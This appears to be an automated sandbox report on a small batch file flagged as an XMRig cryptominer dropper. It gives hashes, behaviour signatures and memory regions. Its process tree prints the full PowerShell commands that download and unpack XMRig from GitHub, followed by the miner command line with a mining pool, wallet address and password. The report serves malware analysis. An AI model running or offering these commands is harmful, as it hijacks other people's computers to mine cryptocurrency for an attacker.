Analysis

  • max time kernel
    1810s
  • max time network
    1819s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 20:04

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:548
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3156

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a6cb8dec7cb20c6227f9e6b8658f2523

    SHA1

    65322fa96a2f7a6490857c6cfbf3245efcde4162

    SHA256

    1a6d460510aa0f35a285262e58fe1d98fa5bcd83c85305d5909483771a858601

    SHA512

    db039740c31b0c620919a636410dff38944a28a0ff509f0cdca36ee3bce1ab07b6d1b6dd4d5df93971a9431150e2219c6fcf0c46b1e23ff2f4dff06c6866067d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ibsrvy2g.zvq.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    310KB

    MD5

    9fbd1cffc0525d8c9b4128501179ce3a

    SHA1

    e907b34d51f57dca0c5ddaa3fec695fd0ab7f410

    SHA256

    212444d65e9ade65e19869c4ff951dc4f8c183e5b48417097b3cf52e84685522

    SHA512

    22c8e749dcf08abc65b7e3fdc5f6e92373adf36839b2218154bf26ca31ee7b2f51ed2dea3c42f4a77d5ad74a957d37d559012ab2bad37b79d580e6535a1457b7

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    375KB

    MD5

    9e6800bad141e0cc3f490e6f72d20f50

    SHA1

    b19fe176fcc7415b628ca2144cc8cbea0ea3cee5

    SHA256

    d12efb1dd777a3fc0a4577a74cf2c76a3c112913eb30a4fb119df95f97f1bf79

    SHA512

    0472256d3e86cf066adef8d1bcad451c8abd4bf46d63fb14eef532831aff79b4e2b521d2075953acd09f74302e6877aca5ef6d20112a816a94c65d16cc7f7182

  • memory/548-41-0x00000247D15E0000-0x00000247D15F0000-memory.dmp

    Filesize

    64KB

  • memory/548-80-0x00000247EB660000-0x00000247EB672000-memory.dmp

    Filesize

    72KB

  • memory/548-117-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/548-93-0x00000247EB650000-0x00000247EB65A000-memory.dmp

    Filesize

    40KB

  • memory/548-66-0x00000247D15E0000-0x00000247D15F0000-memory.dmp

    Filesize

    64KB

  • memory/548-42-0x00000247D15E0000-0x00000247D15F0000-memory.dmp

    Filesize

    64KB

  • memory/548-40-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/924-10-0x000001CCAF700000-0x000001CCAF776000-memory.dmp

    Filesize

    472KB

  • memory/924-34-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/924-29-0x000001CCAF540000-0x000001CCAF550000-memory.dmp

    Filesize

    64KB

  • memory/924-7-0x000001CCAF540000-0x000001CCAF550000-memory.dmp

    Filesize

    64KB

  • memory/924-9-0x000001CCAF540000-0x000001CCAF550000-memory.dmp

    Filesize

    64KB

  • memory/924-28-0x000001CCAF540000-0x000001CCAF550000-memory.dmp

    Filesize

    64KB

  • memory/924-25-0x000001CCAF540000-0x000001CCAF550000-memory.dmp

    Filesize

    64KB

  • memory/924-5-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/924-27-0x000001CCAF540000-0x000001CCAF550000-memory.dmp

    Filesize

    64KB

  • memory/924-26-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/924-4-0x000001CCAF550000-0x000001CCAF572000-memory.dmp

    Filesize

    136KB

  • memory/3156-143-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-155-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-122-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-123-0x00000267E3000000-0x00000267E3020000-memory.dmp

    Filesize

    128KB

  • memory/3156-124-0x00000267E3020000-0x00000267E3040000-memory.dmp

    Filesize

    128KB

  • memory/3156-125-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-126-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-127-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-128-0x00000267E3000000-0x00000267E3020000-memory.dmp

    Filesize

    128KB

  • memory/3156-129-0x00000267E3020000-0x00000267E3040000-memory.dmp

    Filesize

    128KB

  • memory/3156-130-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-131-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-132-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-133-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-134-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-135-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-136-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-137-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-138-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-139-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-140-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-141-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-142-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-120-0x00000267E2CE0000-0x00000267E2D00000-memory.dmp

    Filesize

    128KB

  • memory/3156-144-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-145-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-146-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-147-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-148-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-149-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-150-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-151-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-152-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-153-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-154-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-121-0x00000267E2D30000-0x00000267E2D70000-memory.dmp

    Filesize

    256KB

  • memory/3156-156-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-157-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-158-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-159-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-160-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-161-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-162-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-163-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-164-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-165-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-166-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-167-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-168-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-169-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-170-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-171-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-172-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-173-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-174-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-175-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-176-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-177-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-178-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-179-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-180-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-181-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-182-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-183-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-184-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-185-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-186-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-187-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-188-0x00007FF7DF1B0000-0x00007FF7DFCB3000-memory.dmp

    Filesize

    11.0MB